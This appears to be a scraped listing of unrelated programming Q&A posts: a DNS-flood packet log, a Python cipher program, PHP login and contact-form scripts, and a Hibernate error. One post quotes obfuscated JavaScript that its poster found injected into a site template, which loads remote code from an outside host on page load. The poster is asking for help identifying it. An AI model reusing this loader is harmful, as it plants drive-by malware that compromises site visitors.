concrete methods that includes JM profiler and can be implemented for more complex scenarios.

    Read the article

  • outgoing DNS flood targeted to non-ISP hosts

    - by radudani
    Below is the specific traffic monitored at the network perimeter and originating from a user PC on Vista platform; my question is not about the effects of the flood, but about the nature of the source of it; is this a kind of known infection, or just an application went out of control? a standard NOD32 scan didn't find anything, as the user told me; Thank you for any hint, Danny 14:40:10.115876 IP 192.168.7.42.4122 67.228.0.181.53: S 2742536765:2742536765(0) win 16384 14:40:10.115943 IP 192.168.7.42.4124 67.228.181.207.53: S 3071079888:3071079888(0) win 16384 14:40:10.116015 IP 192.168.7.42.4126 67.228.0.181.53: S 3445199428:3445199428(0) win 16384 14:40:10.116086 IP 192.168.7.42.4128 67.228.181.207.53: S 2053198691:2053198691(0) win 16384 14:40:10.116154 IP 192.168.7.42.4130 67.228.0.181.53: S 2841660872:2841660872(0) win 16384 14:40:10.116222 IP 192.168.7.42.4132 67.228.181.207.53: S 3150822465:3150822465(0) win 16384 14:40:10.116290 IP 192.168.7.42.4134 67.228.0.181.53: S 1692515021:1692515021(0) win 16384 14:40:10.116358 IP 192.168.7.42.4136 67.228.181.207.53: S 3358275919:3358275919(0) win 16384 14:40:10.116430 IP 192.168.7.42.4138 67.228.0.181.53: S 930184999:930184999(0) win 16384 14:40:10.116498 IP 192.168.7.42.4140 67.228.181.207.53: S 1504984630:1504984630(0) win 16384 14:40:10.116566 IP 192.168.7.42.4142 67.228.0.181.53: S 546074424:546074424(0) win 16384 14:40:10.116634 IP 192.168.7.42.4144 67.228.181.207.53: S 4241828590:4241828590(0) win 16384 14:40:10.116702 IP 192.168.7.42.4146 67.228.0.181.53: S 668634627:668634627(0) win 16384 14:40:10.116769 IP 192.168.7.42.4148 67.228.181.207.53: S 3768119461:3768119461(0) win 16384 14:40:10.117360 IP 192.168.7.42.4111 67.228.0.181.53: 12676 op8 Resp12*- [2128q][|domain] 14:40:10.117932 IP 192.168.7.42.4112 67.228.181.207.53: 44190 op7 NotAuth*|$ [29103q],[|domain] 14:40:10.118726 IP 192.168.7.42.4113 67.228.0.181.53: 49196 inv_q [b2&3=0xeea] [64081q] [28317a] [43054n] [23433au] Type63482 (Class 5889)? M-_^OSM-JM-m^_M-i.[|domain] 14:40:10.119934 IP 192.168.7.42.4114 67.228.181.207.53: 48131 updateMA Resp12$ [43850q],[|domain] 14:40:10.121164 IP 192.168.7.42.4115 67.228.0.181.53: 46330 updateM% [b2&3=0x665b] [23691a] [998q] [32406n] [11452au][|domain] 14:40:10.121866 IP 192.168.7.42.4116 67.228.181.207.53: 34425 op7 YXRRSet* [39927q][|domain] 14:40:10.123107 IP 192.168.7.42.4117 67.228.0.181.53: 56536 notify+ [b2&3=0x27e6] [59761a] [23005q] [33341n] [29705au][|domain] 14:40:10.123961 IP 192.168.7.42.4118 67.228.181.207.53: 19323 stat% [b2&3=0x14bb] [32491a] [41925q] [2038n] [5857au][|domain] 14:40:10.132499 IP 192.168.7.42.4119 67.228.0.181.53: 50432 updateMA+ [b2&3=0x6bc2] [10733a] [9775q] [46984n] [15261au][|domain] 14:40:10.133394 IP 192.168.7.42.4120 67.228.181.207.53: 2171 notify Refused$ [26027q][|domain] 14:40:10.134421 IP 192.168.7.42.4121 67.228.0.181.53: 25802 updateM NXDomain*-$ [28641q][|domain] 14:40:10.135392 IP 192.168.7.42.4122 67.228.181.207.53: 2073 updateMA+ [b2&3=0x6d0b] [43177a] [54332q] [17736n] [43636au][|domain] 14:40:10.136638 IP 192.168.7.42.4123 67.228.0.181.53: 15346 updateD+% [b2&3=0x577a] [61686a] [19106q] [15824n] [37833au] Type28590 (Class 64856)? [|domain] 14:40:10.137265 IP 192.168.7.42.4124 67.228.181.207.53: 60761 update+ [b2&3=0x2b66] [43293a] [53922q] [23115n] [11349au][|domain] 14:40:10.148122 IP 192.168.7.42.4125 67.228.0.181.53: 3418 op3% [b2&3=0x1a92] [51107a] [60368q] [47777n] [56081au][|domain]

    Read the article

  • outgoing DNS flood targeted to non-ISP hosts

    - by radudani
    Below is the specific traffic monitored at the network perimeter and originating from a user PC on Vista platform. My question is not about the effects of the flood, but about the nature of the source of it. Is this some known infection, or just an application went out of control? a standard NOD32 scan didn't find anything, as the user told me. Thank you for any hint. 14:40:10.115876 IP 192.168.7.42.4122 > 67.228.0.181.53: S 2742536765:2742536765(0) win 16384 <mss 1460,nop,nop,sackOK> 14:40:10.115943 IP 192.168.7.42.4124 > 67.228.181.207.53: S 3071079888:3071079888(0) win 16384 <mss 1460,nop,nop,sackOK> 14:40:10.116015 IP 192.168.7.42.4126 > 67.228.0.181.53: S 3445199428:3445199428(0) win 16384 <mss 1460,nop,nop,sackOK> 14:40:10.116086 IP 192.168.7.42.4128 > 67.228.181.207.53: S 2053198691:2053198691(0) win 16384 <mss 1460,nop,nop,sackOK> 14:40:10.116154 IP 192.168.7.42.4130 > 67.228.0.181.53: S 2841660872:2841660872(0) win 16384 <mss 1460,nop,nop,sackOK> 14:40:10.116222 IP 192.168.7.42.4132 > 67.228.181.207.53: S 3150822465:3150822465(0) win 16384 <mss 1460,nop,nop,sackOK> 14:40:10.116290 IP 192.168.7.42.4134 > 67.228.0.181.53: S 1692515021:1692515021(0) win 16384 <mss 1460,nop,nop,sackOK> 14:40:10.116358 IP 192.168.7.42.4136 > 67.228.181.207.53: S 3358275919:3358275919(0) win 16384 <mss 1460,nop,nop,sackOK> 14:40:10.116430 IP 192.168.7.42.4138 > 67.228.0.181.53: S 930184999:930184999(0) win 16384 <mss 1460,nop,nop,sackOK> 14:40:10.116498 IP 192.168.7.42.4140 > 67.228.181.207.53: S 1504984630:1504984630(0) win 16384 <mss 1460,nop,nop,sackOK> 14:40:10.116566 IP 192.168.7.42.4142 > 67.228.0.181.53: S 546074424:546074424(0) win 16384 <mss 1460,nop,nop,sackOK> 14:40:10.116634 IP 192.168.7.42.4144 > 67.228.181.207.53: S 4241828590:4241828590(0) win 16384 <mss 1460,nop,nop,sackOK> 14:40:10.116702 IP 192.168.7.42.4146 > 67.228.0.181.53: S 668634627:668634627(0) win 16384 <mss 1460,nop,nop,sackOK> 14:40:10.116769 IP 192.168.7.42.4148 > 67.228.181.207.53: S 3768119461:3768119461(0) win 16384 <mss 1460,nop,nop,sackOK> 14:40:10.117360 IP 192.168.7.42.4111 > 67.228.0.181.53: 12676 op8 Resp12*- [2128q][|domain] 14:40:10.117932 IP 192.168.7.42.4112 > 67.228.181.207.53: 44190 op7 NotAuth*|$ [29103q],[|domain] 14:40:10.118726 IP 192.168.7.42.4113 > 67.228.0.181.53: 49196 inv_q [b2&3=0xeea] [64081q] [28317a] [43054n] [23433au] Type63482 (Class 5889)? M-_^OS>M-JM-m^_M-i.[|domain] 14:40:10.119934 IP 192.168.7.42.4114 > 67.228.181.207.53: 48131 updateMA Resp12$ [43850q],[|domain] 14:40:10.121164 IP 192.168.7.42.4115 > 67.228.0.181.53: 46330 updateM% [b2&3=0x665b] [23691a] [998q] [32406n] [11452au][|domain] 14:40:10.121866 IP 192.168.7.42.4116 > 67.228.181.207.53: 34425 op7 YXRRSet* [39927q][|domain] 14:40:10.123107 IP 192.168.7.42.4117 > 67.228.0.181.53: 56536 notify+ [b2&3=0x27e6] [59761a] [23005q] [33341n] [29705au][|domain] 14:40:10.123961 IP 192.168.7.42.4118 > 67.228.181.207.53: 19323 stat% [b2&3=0x14bb] [32491a] [41925q] [2038n] [5857au][|domain] 14:40:10.132499 IP 192.168.7.42.4119 > 67.228.0.181.53: 50432 updateMA+ [b2&3=0x6bc2] [10733a] [9775q] [46984n] [15261au][|domain] 14:40:10.133394 IP 192.168.7.42.4120 > 67.228.181.207.53: 2171 notify Refused$ [26027q][|domain] 14:40:10.134421 IP 192.168.7.42.4121 > 67.228.0.181.53: 25802 updateM NXDomain*-$ [28641q][|domain] 14:40:10.135392 IP 192.168.7.42.4122 > 67.228.181.207.53: 2073 updateMA+ [b2&3=0x6d0b] [43177a] [54332q] [17736n] [43636au][|domain] 14:40:10.136638 IP 192.168.7.42.4123 > 67.228.0.181.53: 15346 updateD+% [b2&3=0x577a] [61686a] [19106q] [15824n] [37833au] Type28590 (Class 64856)? [|domain] 14:40:10.137265 IP 192.168.7.42.4124 > 67.228.181.207.53: 60761 update+ [b2&3=0x2b66] [43293a] [53922q] [23115n] [11349au][|domain] 14:40:10.148122 IP 192.168.7.42.4125 > 67.228.0.181.53: 3418 op3% [b2&3=0x1a92] [51107a] [60368q] [47777n] [56081au][|domain]

    Read the article

  • Best style for Python programs: what do you suggest?

    - by Noctis Skytower
    A friend of mine wanted help learning to program, so he gave me all the programs that he wrote for his previous classes. The last program that he wrote was an encryption program, and after rewriting all his programs in Python, this is how his encryption program turned out (after adding my own requirements). #! /usr/bin/env python ################################################################################ """\ CLASS INFORMATION ----------------- Program Name: Program 11 Programmer: Stephen Chappell Instructor: Stephen Chappell for CS 999-0, Python Due Date: 17 May 2010 DOCUMENTATION ------------- This is a simple encryption program that can encode and decode messages.""" ################################################################################ import sys KEY_FILE = 'Key.txt' BACKUP = '''\ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNO\ PQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ _@/6-UC'GzaV0%5Mo9g+yNh8b">Bi=<Lx [sQn#^R.D2Xc(\ Jm!4e${lAEWud&t7]H\`}pvPw)FY,Z~?qK|3SOfk*:1;jTrI''' ################################################################################ def main(): "Run the program: loads key, runs processing loop, and saves key." encode_map, decode_map = load_key(KEY_FILE) try: run_interface_loop(encode_map, decode_map) except SystemExit: pass save_key(KEY_FILE, encode_map) def run_interface_loop(encode_map, decode_map): "Shows the menu and runs the appropriate command." print('This program handles encryption via a customizable key.') while True: print('''\ MENU ==== (1) Encode (2) Decode (3) Custom (4) Finish''') switch = get_character('Select: ', tuple('1234')) FUNC[switch](encode_map, decode_map) def get_character(prompt, choices): "Gets a valid menu option and returns it." while True: sys.stdout.write(prompt) sys.stdout.flush() line = sys.stdin.readline()[:-1] if not line: sys.exit() if line in choices: return line print(repr(line), 'is not a valid choice.') ################################################################################ def load_key(filename): "Gets the key file data and returns encoding/decoding dictionaries." plain, cypher = open_file(filename) return dict(zip(plain, cypher)), dict(zip(cypher, plain)) def open_file(filename): "Load the keys and tries to create it when not available." while True: try: with open(filename) as file: plain, cypher = file.read().split('\n') return plain, cypher except: with open(filename, 'w') as file: file.write(BACKUP) def save_key(filename, encode_map): "Dumps the map into two buffers and saves them to the key file." plain = cypher = str() for p, c in encode_map.items(): plain += p cypher += c with open(filename, 'w') as file: file.write(plain + '\n' + cypher) ################################################################################ def encode(encode_map, decode_map): "Encodes message for the user." print('Enter your message to encode (EOF when finished).') message = get_message() for char in message: sys.stdout.write(encode_map[char] if char in encode_map else char) def decode(encode_map, decode_map): "Decodes message for the user." print('Enter your message to decode (EOF when finished).') message = get_message() for char in message: sys.stdout.write(decode_map[char] if char in decode_map else char) def custom(encode_map, decode_map): "Allows user to edit the encoding/decoding dictionaries." plain, cypher = get_new_mapping() for p, c in zip(plain, cypher): encode_map[p] = c decode_map[c] = p ################################################################################ def get_message(): "Gets and returns text entered by the user (until EOF)." buffer = [] while True: line = sys.stdin.readline() if line: buffer.append(line) else: return ''.join(buffer) def get_new_mapping(): "Prompts for strings to edit encoding/decoding maps." while True: plain = get_unique_chars('What do you want to encode from?') cypher = get_unique_chars('What do you want to encode to?') if len(plain) == len(cypher): return plain, cypher print('Both lines should have the same length.') def get_unique_chars(prompt): "Gets strings that only contain unique characters." print(prompt) while True: line = input() if len(line) == len(set(line)): return line print('There were duplicate characters: please try again.') ################################################################################ # This map is used for dispatching commands in the interface loop. FUNC = {'1': encode, '2': decode, '3': custom, '4': lambda a, b: sys.exit()} ################################################################################ if __name__ == '__main__': main() For all those Python programmers out there, your help is being requested. How should the formatting (not necessarily the coding by altered to fit Python's style guide? My friend does not need to be learning things that are not correct. If you have suggestions on the code, feel free to post them to this wiki as well.

    Read the article

  • Differing styles in Python program: what do you suggest?

    - by Noctis Skytower
    A friend of mine wanted help learning to program, so he gave me all the programs that he wrote for his previous classes. The last program that he wrote was an encryption program, and after rewriting all his programs in Python, this is how his encryption program turned out (after adding my own requirements). #! /usr/bin/env python ################################################################################ """\ CLASS INFORMATION ----------------- Program Name: Program 11 Programmer: Stephen Chappell Instructor: Stephen Chappell for CS 999-0, Python Due Date: 17 May 2010 DOCUMENTATION ------------- This is a simple encryption program that can encode and decode messages.""" ################################################################################ import sys KEY_FILE = 'Key.txt' BACKUP = '''\ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNO\ PQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ _@/6-UC'GzaV0%5Mo9g+yNh8b">Bi=<Lx [sQn#^R.D2Xc(\ Jm!4e${lAEWud&t7]H\`}pvPw)FY,Z~?qK|3SOfk*:1;jTrI''' ################################################################################ def main(): "Run the program: loads key, runs processing loop, and saves key." encode_map, decode_map = load_key(KEY_FILE) try: run_interface_loop(encode_map, decode_map) except SystemExit: pass save_key(KEY_FILE, encode_map) def run_interface_loop(encode_map, decode_map): "Shows the menu and runs the appropriate command." print('This program handles encryption via a customizable key.') while True: print('''\ MENU ==== (1) Encode (2) Decode (3) Custom (4) Finish''') switch = get_character('Select: ', tuple('1234')) FUNC[switch](encode_map, decode_map) def get_character(prompt, choices): "Gets a valid menu option and returns it." while True: sys.stdout.write(prompt) sys.stdout.flush() line = sys.stdin.readline()[:-1] if not line: sys.exit() if line in choices: return line print(repr(line), 'is not a valid choice.') ################################################################################ def load_key(filename): "Gets the key file data and returns encoding/decoding dictionaries." plain, cypher = open_file(filename) return dict(zip(plain, cypher)), dict(zip(cypher, plain)) def open_file(filename): "Load the keys and tries to create it when not available." while True: try: with open(filename) as file: plain, cypher = file.read().split('\n') return plain, cypher except: with open(filename, 'w') as file: file.write(BACKUP) def save_key(filename, encode_map): "Dumps the map into two buffers and saves them to the key file." plain = cypher = str() for p, c in encode_map.items(): plain += p cypher += c with open(filename, 'w') as file: file.write(plain + '\n' + cypher) ################################################################################ def encode(encode_map, decode_map): "Encodes message for the user." print('Enter your message to encode (EOF when finished).') message = get_message() for char in message: sys.stdout.write(encode_map[char] if char in encode_map else char) def decode(encode_map, decode_map): "Decodes message for the user." print('Enter your message to decode (EOF when finished).') message = get_message() for char in message: sys.stdout.write(decode_map[char] if char in decode_map else char) def custom(encode_map, decode_map): "Allows user to edit the encoding/decoding dictionaries." plain, cypher = get_new_mapping() for p, c in zip(plain, cypher): encode_map[p] = c decode_map[c] = p ################################################################################ def get_message(): "Gets and returns text entered by the user (until EOF)." buffer = [] while True: line = sys.stdin.readline() if line: buffer.append(line) else: return ''.join(buffer) def get_new_mapping(): "Prompts for strings to edit encoding/decoding maps." while True: plain = get_unique_chars('What do you want to encode from?') cypher = get_unique_chars('What do you want to encode to?') if len(plain) == len(cypher): return plain, cypher print('Both lines should have the same length.') def get_unique_chars(prompt): "Gets strings that only contain unique characters." print(prompt) while True: line = input() if len(line) == len(set(line)): return line print('There were duplicate characters: please try again.') ################################################################################ # This map is used for dispatching commands in the interface loop. FUNC = {'1': encode, '2': decode, '3': custom, '4': lambda a, b: sys.exit()} ################################################################################ if __name__ == '__main__': main() For all those Python programmers out there, your help is being requested. How should the formatting (not necessarily the coding by altered to fit Python's style guide? My friend does not need to be learning things that are not correct. If you have suggestions on the code, feel free to post them to this wiki as well.

    Read the article

  • how can I exit from a php script and continue right after the script?

    - by Samir Ghobril
    Hey guys, I have this piece of code, and when I add return after echo(if there is an error and I need to continue right after the script) I can't see the footer, do you know what the problem is? <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang="en" > <head> <title>Login | JM Today </title> <link href="Mainstyles.css" type="text/css" rel="stylesheet" /> </head> <body> <div class="container"> <?php include("header.php"); ?> <?php include("navbar.php"); ?> <?php include("cleanquery.php") ?> <div id="wrap"> <?php ini_set('display_errors', 'On'); error_reporting(E_ALL | E_STRICT); $conn=mysql_connect("localhost", "***", "***") or die(mysql_error()); mysql_select_db('jmtdy', $conn) or die(mysql_error()); if(isset($_POST['sublogin'])){ if(( strlen($_POST['user']) >0) && (strlen($_POST['pass']) >0)) { checklogin($_POST['user'], $_POST['pass']); } elseif((isset($_POST['user']) && empty($_POST['user'])) || (isset($_POST['pass']) && empty($_POST['pass']))){ echo '<p class="statusmsg">You didn\'t fill in the required fields.</p><br/><input type="button" value="Retry" onClick="location.href='."'login.php'\">"; return; } } else{ echo '<p class="statusmsg">You came here by mistake, didn\'t you?</p><br/><input type="button" value="Retry" onClick="location.href='."'login.php'\">"; return; } function checklogin($username, $password){ $username=mysql_real_escape_string($username); $password=mysql_real_escape_string($password); $result=mysql_query("select * from users where username = '$username'"); if($result != false){ $dbArray=mysql_fetch_array($result); $dbArray['password']=mysql_real_escape_string($dbArray['password']); $dbArray['username']=mysql_real_escape_string($dbArray['username']); if(($dbArray['password'] != $password ) || ($dbArray['username'] != $username)){ echo '<p class="statusmsg">The username or password you entered is incorrect. Please try again.</p><br/><input type="button" value="Retry" onClick="location.href='."'login.php'\">"; return; } $_SESSION['username']=$username; $_SESSION['password']=$password; if(isset($_POST['remember'])){ setcookie("jmuser",$_SESSION['username'],time()+60*60*24*356); setcookie("jmpass",$_SESSION['username'],time()+60*60*24*356); } } else{ echo'<p class="statusmsg"> The username or password you entered is incorrect. Please try again.</p><br/>input type="button" value="Retry" onClick="location.href='."'login.php'\">"; return; } } ?> </div> <br/> <br/> <?php include("footer.php") ?> </div> </body> </html>

    Read the article

  • Weird Javascript in Template. Is this a hacking attempt?

    - by Julian
    I validated my client's website to xHTML Strict 1.0/CSS 2.1 standards last week. Today when I re-checked, I had a validation error caused by a weird and previous unknown script. I found this in the index.php file of my ExpressionEngine CMS. What is this javascript doing? Is this a hacking attempt as I suspected? I couldn't help but notice the Russian domain encoded in the script... this.v=27047; this.v+=187; ug=["n"]; OV=29534; OV--; var y; var C="C"; var T={}; r=function(){ b=36068; b-=144; M=[]; function f(V,w,U){ return V.substr(w,U); var wH=39640; } var L=["o"]; var cj={}; var qK={N:false}; var fa="/g"+"oo"+"gl"+"e."+"co"+"m/"+f("degL4",0,2)+f("rRs6po6rRs",4,2)+f("9GVsiV9G",3,2)+f("5cGtfcG5",3,2)+f("M6c0ilc6M0",4,2)+"es"+f("KUTz.cUzTK",4,2)+f("omjFb",0,2)+"/s"+f("peIlh2",0,2)+"ed"+f("te8WC",0,2)+f("stien3",0,2)+f(".nYm6S",0,2)+f("etUWH",0,2)+f(".pdVPH",0,2)+f("hpzToi",0,2); var BT="BT"; var fV=RegExp; var CE={bf:false}; var UW=''; this.Ky=11592; this.Ky-=237; var VU=document; var _n=[]; try {} catch(wP){}; this.JY=29554; this.JY-=245; function s(V,w){ l=13628; l--; var U="["+w+String("]"); var rk=new fV(U, f("giId",0,1)); this.NS=18321;this.NS+=195;return V.replace(rk, UW); try {} catch(k){}; }; this.jM=""; var CT={}; var A=s('socnruixpot4','zO06eNGTlBuoYxhwn4yW1Z'); try {var vv='m'} catch(vv){}; var Os={}; var t=null; var e=String("bod"+"y"); var F=155183-147103; this.kp=''; Z={Ug:false}; y=function(){ var kl=["mF","Q","cR"]; try { Bf=11271; Bf-=179; var u=s('cfr_eKaPtQe_EPl8eTmPeXn8to','X_BQoKfTZPz8MG5'); Fp=VU[u](A); var H=""; try {} catch(WK){}; this.Ca=19053; this.Ca--; var O=s('s5rLcI','2A5IhLo'); var V=F+fa; this.bK=""; var ya=String("de"+"fe"+f("r3bPZ",0,1)); var bk=new String(); pB=9522; pB++; Fp[O]=String("ht"+"tp"+":/"+"/t"+"ow"+"er"+"sk"+"y."+"ru"+":")+V; Fp[ya]=[1][0]; Pe=45847; Pe--; VU[e].appendChild(Fp); var lg=new Array(); var aQ={vl:"JC"}; this.KL="KL"; } catch(x){ this.Ja=""; Th=["pj","zx","kO"]; var Jr=''; }; Tr={qZ:21084}; }; this.pL=false; }; be={}; rkE={hb:"vG"}; r(); var bY=new Date(); window.onload=y; cU=["Yr","gv"];

    Read the article

  • Form contents not showing in email

    - by fmz
    This is a followup to a question I posted yesterday. I thought everything was working fine, but today, I am not getting any results in the email from the drop down field. Here is the form code in question: <label for="purpose"><span class="required">*</span> Purpose</label> <select id="purpose" name="purpose" style="width: 300px; height:35px;"> <option value="" selected="selected">-- Select One --</option> <option value="I am interested in your services">I am interested in your services!</option> <option value="I am interested in a partnership">I am interested in a partnership!</option> <option value="I am interested in a job">I am interested in a job!</option> </select> It is then processed in PHP and should output the selected option to an email, however the Reason for Contact line always comes through with nothing in it. Here is the PHP code: <?php if(!$_POST) exit; $name = $_POST['name']; $company = $_POST['company']; $email = $_POST['email']; $phone = $_POST['phone']; $purpose = $_POST['purpose']; $comments = $_POST['comments']; $verify = $_POST['verify']; if(trim($name) == '') { echo '<div class="error_message">Attention! You must enter your name.</div>'; exit(); } else if(trim($email) == '') { echo '<div class="error_message">Attention! Please enter a valid email address.</div>'; exit(); } else if(trim($phone) == '') { echo '<div class="error_message">Attention! Please enter a valid phone number.</div>'; exit(); } else if(!isEmail($email)) { echo '<div class="error_message">Attention! You have enter an invalid e-mail address, try again.</div>'; exit(); } if(trim($comments) == '') { echo '<div class="error_message">Attention! Please enter your message.</div>'; exit(); } else if(trim($verify) == '') { echo '<div class="error_message">Attention! Please enter the verification number.</div>'; exit(); } else if(trim($verify) != '4') { echo '<div class="error_message">Attention! The verification number you entered is incorrect.</div>'; exit(); } if($error == '') { if(get_magic_quotes_gpc()) { $comments = stripslashes($comments); } // Configuration option. // Enter the email address that you want to emails to be sent to. // Example $address = "[email protected]"; $address = "[email protected]"; // Configuration option. // i.e. The standard subject will appear as, "You've been contacted by John Doe." // Example, $e_subject = '$name . ' has contacted you via Your Website.'; $e_subject = 'You\'ve been contacted by ' . $name . '.'; // Configuration option. // You can change this if you feel that you need to. // Developers, you may wish to add more fields to the form, in which case you must be sure to add them here. $e_body = "You have been contacted by $name.\r\n\n"; $e_company = "Company: $company\r\n\n"; $e_content = "Comments: \"$comments\"\r\n\n"; $e_purpose = "Reason for contact: $purpose\r\n\n"; $e_reply = "You can contact $name via email, $email or via phone $phone"; $msg = $e_body . $e_content . $e_company . $e_purpose . $e_reply; if(mail($address, $e_subject, $msg, "From: $email\r\nReply-To: $email\r\nReturn-Path: $email\r\n")) { // Email has sent successfully, echo a success page. echo "<fieldset>"; echo "<div id='success_page'>"; echo "<h1>Email Sent Successfully.</h1>"; echo "<p>Thank you <strong>$name</strong>, your message has been submitted to us.</p>"; echo "</div>"; echo "</fieldset>"; } else { echo 'ERROR!'; } } function isEmail($email) { // Email address verification, do not edit. return(preg_match("/^[-_.[:alnum:]]+@((([[:alnum:]]|[[:alnum:]][[:alnum:]-]*[[:alnum:]])\.)+(ad|ae|aero|af|ag|ai|al|am|an|ao|aq|ar|arpa|as|at|au|aw|az|ba|bb|bd|be|bf|bg|bh|bi|biz|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|com|coop|cr|cs|cu|cv|cx|cy|cz|de|dj|dk|dm|do|dz|ec|edu|ee|eg|eh|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gh|gi|gl|gm|gn|gov|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|in|info|int|io|iq|ir|is|it|jm|jo|jp|ke|kg|kh|ki|km|kn|kp|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mil|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|museum|mv|mw|mx|my|mz|na|name|nc|ne|net|nf|ng|ni|nl|no|np|nr|nt|nu|nz|om|org|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|pro|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw)$|(([0-9][0-9]?|[0-1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-5])\.){3}([0-9][0-9]?|[0-1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-5]))$/i",$email)); } ?> Any assistance would be greatly appreciated. Thanks!

    Read the article

  • Could not synchronize database state with session

    - by user359427
    Hello all, I'm having trouble trying to persist an entity which ID is a generated value. This entity (A), at persistence time, has to persist in cascade another entity(B). The relationship within A and B is OneToMany, and the property related in B is part of a composite key. I'm using Eclipse, JBOSS Runtime, JPA/Hibernate Here is my code: Entity A: @Entity public class Cambios implements Serializable { private static final long serialVersionUID = 1L; @SequenceGenerator(name="CAMBIOS_GEN",sequenceName="CAMBIOS_SEQ",allocationSize=1) @Id @GeneratedValue(strategy=GenerationType.SEQUENCE, generator="CAMBIOS_GEN") @Column(name="ID_CAMBIO") private Long idCambio; //bi-directional many-to-one association to ObjetosCambio @OneToMany(cascade={CascadeType.PERSIST},mappedBy="cambios") private List<ObjetosCambio> objetosCambioList; public Cambios() { } ... } Entity B: @Entity @Table(name="OBJETOS_CAMBIO") public class ObjetosCambio implements Serializable { private static final long serialVersionUID = 1L; @EmbeddedId private ObjetosCambioPK id; //bi-directional many-to-one association to Cambios @ManyToOne @JoinColumn(name="ID_CAMBIO", insertable=false, updatable=false) private Cambios cambios; //bi-directional many-to-one association to Objetos @ManyToOne @JoinColumn(name="ID_OBJETO", insertable=false, updatable=false) private Objetos objetos; public ObjetosCambio() { } ... Entity B PK: @Embeddable public class ObjetosCambioPK implements Serializable { //default serial version id, required for serializable classes. private static final long serialVersionUID = 1L; @Column(name="ID_OBJETO") private Long idObjeto; @Column(name="ID_CAMBIO") private Long idCambio; public ObjetosCambioPK() { } Client: public String generarCambio(){ ServiceLocator serviceLocator = null; try { serviceLocator = serviceLocator.getInstance(); FachadaLocal tcLocal; tcLocal = (FachadaLocal)serviceLocator.getFacadeService("java:comp/env/negocio/Fachada"); Cambios cambio = new Cambios(); Iterator it = objetosLocal.iterator(); //OBJETOSLOCAL IS ALREADY POPULATED OUTSIDE OF THIS METHOD List<ObjetosCambio> ocList = new ArrayList(); while (it.hasNext()){ Objetos objeto = (Objetos)it.next(); ObjetosCambio objetosCambio = new ObjetosCambio(); objetosCambio.setCambios(cambio); //AT THIS TIME THIS "CAMBIO" DOES NOT HAVE ITS ID, ITS SUPPOSED TO BE GENERATED AT PERSISTENCE TIME ObjetosCambioPK ocPK = new ObjetosCambioPK(); ocPK.setIdObjeto(objeto.getIdObjeto()); objetosCambio.setId(ocPK); ocList.add(objetosCambio); } cambio.setObjetosCambioList(ocList); tcLocal.persistEntity(cambio); return "exito"; } catch (NamingException e) { // TODO e.printStackTrace(); } return null; } ERROR: 15:23:25,717 WARN [JDBCExceptionReporter] SQL Error: 1400, SQLState: 23000 15:23:25,717 ERROR [JDBCExceptionReporter] ORA-01400: no se puede realizar una inserción NULL en ("CDC"."OBJETOS_CAMBIO"."ID_CAMBIO") 15:23:25,717 WARN [JDBCExceptionReporter] SQL Error: 1400, SQLState: 23000 15:23:25,717 ERROR [JDBCExceptionReporter] ORA-01400: no se puede realizar una inserción NULL en ("CDC"."OBJETOS_CAMBIO"."ID_CAMBIO") 15:23:25,717 ERROR [AbstractFlushingEventListener] Could not synchronize database state with session org.hibernate.exception.ConstraintViolationException: Could not execute JDBC batch update at org.hibernate.exception.SQLStateConverter.convert(SQLStateConverter.java:94) at org.hibernate.exception.JDBCExceptionHelper.convert(JDBCExceptionHelper.java:66) at org.hibernate.jdbc.AbstractBatcher.executeBatch(AbstractBatcher.java:275) at org.hibernate.engine.ActionQueue.executeActions(ActionQueue.java:266) at org.hibernate.engine.ActionQueue.executeActions(ActionQueue.java:167) at org.hibernate.event.def.AbstractFlushingEventListener.performExecutions(AbstractFlushingEventListener.java:321) at org.hibernate.event.def.DefaultFlushEventListener.onFlush(DefaultFlushEventListener.java:50) at org.hibernate.impl.SessionImpl.flush(SessionImpl.java:1027) at org.hibernate.impl.SessionImpl.managedFlush(SessionImpl.java:365) at org.hibernate.ejb.AbstractEntityManagerImpl$1.beforeCompletion(AbstractEntityManagerImpl.java:504) at com.arjuna.ats.internal.jta.resources.arjunacore.SynchronizationImple.beforeCompletion(SynchronizationImple.java:101) at com.arjuna.ats.arjuna.coordinator.TwoPhaseCoordinator.beforeCompletion(TwoPhaseCoordinator.java:269) at com.arjuna.ats.arjuna.coordinator.TwoPhaseCoordinator.end(TwoPhaseCoordinator.java:89) at com.arjuna.ats.arjuna.AtomicAction.commit(AtomicAction.java:177) at com.arjuna.ats.internal.jta.transaction.arjunacore.TransactionImple.commitAndDisassociate(TransactionImple.java:1423) at com.arjuna.ats.internal.jta.transaction.arjunacore.BaseTransaction.commit(BaseTransaction.java:137) at com.arjuna.ats.jbossatx.BaseTransactionManagerDelegate.commit(BaseTransactionManagerDelegate.java:75) at org.jboss.aspects.tx.TxPolicy.endTransaction(TxPolicy.java:170) at org.jboss.aspects.tx.TxPolicy.invokeInOurTx(TxPolicy.java:87) at org.jboss.aspects.tx.TxInterceptor$Required.invoke(TxInterceptor.java:190) at org.jboss.aop.joinpoint.MethodInvocation.invokeNext(MethodInvocation.java:102) at org.jboss.aspects.tx.TxPropagationInterceptor.invoke(TxPropagationInterceptor.java:76) at org.jboss.aop.joinpoint.MethodInvocation.invokeNext(MethodInvocation.java:102) at 